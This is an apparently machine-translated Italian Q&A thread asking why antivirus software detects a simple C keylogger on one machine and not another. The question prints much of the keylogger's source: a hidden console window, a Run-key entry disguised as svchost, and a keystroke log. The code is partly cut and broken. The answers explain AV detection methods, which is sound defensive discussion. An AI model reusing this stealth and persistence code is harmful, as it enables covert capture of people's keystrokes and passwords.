Come è rilevato qualcosa di semplice come un keylogger su un computer?

15

Ne ho trovato uno online, che volevo provare a casa mia e vedere se effettivamente funzionasse. E 'scritto in C, e non è molto grande a tutti considerando la metà di esso è solo un mucchio di casi per i quali si preme il tasto, es:

case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;

e fa anche un po 'con il registro, come

reg_key=RegOpenKeyEx    (HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,KEY_QUERY_VALUE,&hKey);

Il mio Windows 7 del computer prenderanno questo come 'software potenzialmente dannoso', mentre il mio computer XP a scuola con Symantec Endpoint Protection non sarà .. Essendo un software aziendale, ho pensato che sarebbe Symantec raccoglierlo in un batter d'occhio, ma non l'ho fatto ..

Quindi la mia domanda è: cosa stabilisce questo programma come "software potenzialmente dannoso"? È la modifica / l'utilizzo del registro o qualche altro fattore che in genere viene catturato da un keylogger?

Nota: c'è di più nel programma, ma è piuttosto lungo, quindi ho modificato alcuni dei pezzi ripetitivi. Ecco la maggior parte dei keylogger, tuttavia, ma ho lasciato fuori un paio di affermazioni (if-else e switch) che praticamente ha scritto solo i dati in memoria.

    #include <windows.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);

   int test,create;
   test=test_key();/*check if key is available for opening*/

   if (test==2)/*create key*/
   {
       char *path="c:\%windir%\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);

   }


   int t=get_keys();

   return t;
}  

int get_keys(void)
{
           short character;
             while(1)
             {
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  

                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }            
                            if(file!=NULL)
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;    

      A lot of switch statements left out for brevity
      I left out a lot of if-elses as well, all they did was write the
      data to the file.

           }
           return EXIT_SUCCESS;                            
}                                                

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;

   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {    
       check=1;
       return check;
   }        

   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;

   RegCloseKey(hKey);
   return check;  
}

int create_key(char *path)
{  
       int reg_key,check;

       HKEY hkey;

       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;

       return check;
}
    
posta cutrightjm 17.02.2012 - 14:19
fonte

5 risposte

12

Per capire perché determinati programmi (dannosi e non dannosi) sono contrassegnati dal software Anti-Virus, dobbiamo comprendere alcuni dei principi base che il software Anti-Virus usa.

Accesso alle risorse non autorizzate

Il gancio della tastiera

Come altri hanno suggerito, l'hook della tastiera è uno dei primi modi in cui viene rilevato un keylogger primitivo. Se non sei un programmatore, potresti essere confuso tra input dell'utente e hook della tastiera. Un gancio per tastiera legge tutto il traffico dell'utente i / p attraverso il canale di messaggio (ad esempio microsoft message). La maggior parte dei programmi richiede solo l'ascolto di i / p diretti a loro, non tutti i programmi OS. Un handle di finestra è generalmente usato per specificare quale i / p va dove. Tuttavia, il motivo per cui l'antivirus non ha rilevato questo è dovuto a due potenziali motivi:

  • Sebbene i hook della tastiera non siano in uso generale del programma, programmi come macro, determinati giochi, ecc. richiedono di filtrare l'input dell'utente prima che raggiunga qualsiasi programma. Per tali programmi è possibile superare il flag di sicurezza.
  • L'Anti-Virus non è in tempo reale o non è stato configurato a un livello di avviso per informare immediatamente l'utente di quel PC. Potrebbe aver disattivato l'avviso o richiesto di registrarlo in memoria.

Ulteriori informazioni: link

Registro Di recente, Windows ha adottato un approccio alla sicurezza simile a Linux (senza la password ie: P) in cui l'utilizzo non autorizzato delle risorse o l'esecuzione del programma causano un popup di sicurezza che sospende altri processi e può essere rimosso solo dall'input dell'utente diretto. Questa funzione, UAC (User Account Control) è ciò che era responsabile per la rilevazione iniziale del keylogger come nuovo software non autorizzato. Usando il gancio della tastiera, in esecuzione senza moduli aperti e nascosti sullo sfondo, tutto questo è stato aggiunto a questo.

L'errore principale

Creazione di file Molte soluzioni antivirus memorizzano un elenco di tutti i file presenti sul PC, ogni volta che viene creato un nuovo file, la sua origine viene tracciata. Se questo non si verifica, viene generato un flag di sicurezza. Questa funzione viene utilizzata in concomitanza con le scansioni in tempo reale, quindi estraendo il contenuto di un file zip, negli AV moderni provoca una ricerca immediata dei nuovi file trovati.

Lista bianca & Lista nera Gli AV memorizzano miliardi di hash dei file di programma per identificare una semplice modifica anche di un byte di una DLL di Windows. Inoltre memorizzano tutti i programmi noti e documentati nel mondo per classificarli meglio dagli altri malvagi.

In definitiva, il fatto che il tuo AV non abbia fatto quanto segue è la principale causa di preoccupazione:

  1. Rileva l'esecuzione di un programma sconosciuto.
  2. Non rileva l'accesso al registro o al gancio della tastiera da parte di questo programma.
  3. Non contrassegna la creazione di file senza il consenso dell'utente da parte del programma sconosciuto.
  4. Non allarme quando questo programma ha tentato di inviare questi dati non crittografati attraverso la rete all'attaccante. (questa è l'ultima posizione in cui una perdita di dati potrebbe essere prevenuta)

Nota: come indica un'altra risposta, l'exe è stato generato da un altro computer e ha anche causato un avviso di sicurezza su una macchina Win 7, ecc.

    
risposta data 08.07.2012 - 05:41
fonte
12

Secondo la mia esperienza, la maggior parte delle soluzioni antivirus / antimalware non si lamentano degli hook di tastiera di basso livello, che sono il modo più semplice per creare un keylogger.

Uno dei miei programmi più popolari conteneva un aggancio per tastiera, e solo un utente mi ha parlato del suo firewall lamentandosi. D'altra parte, molti altri moduli di esso, che erano abbastanza innocui, innescano diversi falsi positivi.

Non so perché non considerino i ganci della tastiera di basso livello come malvagi. Una possibile ragione potrebbe essere che i programmatori incompetenti persone che non sanno meglio abusare di loro per ottenere hotkey globali, invece di usare le API hotkey.

Ganci di tastiera globali di interesse comune, che provocano l'iniezione di dll sugli eventi della tastiera vengono comunemente rilevati.

    
risposta data 17.02.2012 - 14:43
fonte
5

In questo caso, il fatto che stia leggendo le sequenze di tasti e archiviandole sarà ciò che ha contrassegnato questo. Generalmente ciò non dovrebbe essere necessario da nulla, quindi dovrebbe essere utilizzato come trigger.

Come dice @CodeInChaos, tuttavia, questo spesso non viene rilevato, il che sembra un enorme controllo.

    
risposta data 17.02.2012 - 14:46
fonte
3

Un commento che mi hai fatto mi ha lasciato confuso. Ho chiesto se hai scaricato l'exe e hai detto di non averlo fatto, ma la tua domanda dice che hai scaricato a casa e ti ha dato il messaggio. Per quell'esempio credo che l'exe sia stato contrassegnato da non sicuro quale Windows automaticamente. Se fai clic con il tasto destro del mouse su Proprietà nella parte inferiore della scheda generale, ci sarà qualcosa che dice che questo exe proviene da un altro computer con un pulsante di sblocco.

Windows XP potrebbe non avere quella funzionalità, motivo per cui non è stato raccolto.

    
risposta data 09.07.2012 - 04:22
fonte
0

Il fatto è che la protezione antivirus attualmente offerta non è sufficiente. La maggior parte delle aziende anti virus non ha capacità euristiche avanzate (alcune non ne hanno affatto). Quasi tutti si basano sul checksum MD5 di un particolare file per contrassegnarlo come un virus, questo metodo funziona su tutti i ragazzi grandi (purché non siano polimorfi) ma non riesce a catturare il più piccolo, meno noto " malware".

Ritengo che probabilmente non l'abbia rilevato perché non aveva il checksum di quel file

    
risposta data 13.07.2012 - 23:10
fonte

Leggi altre domande sui tag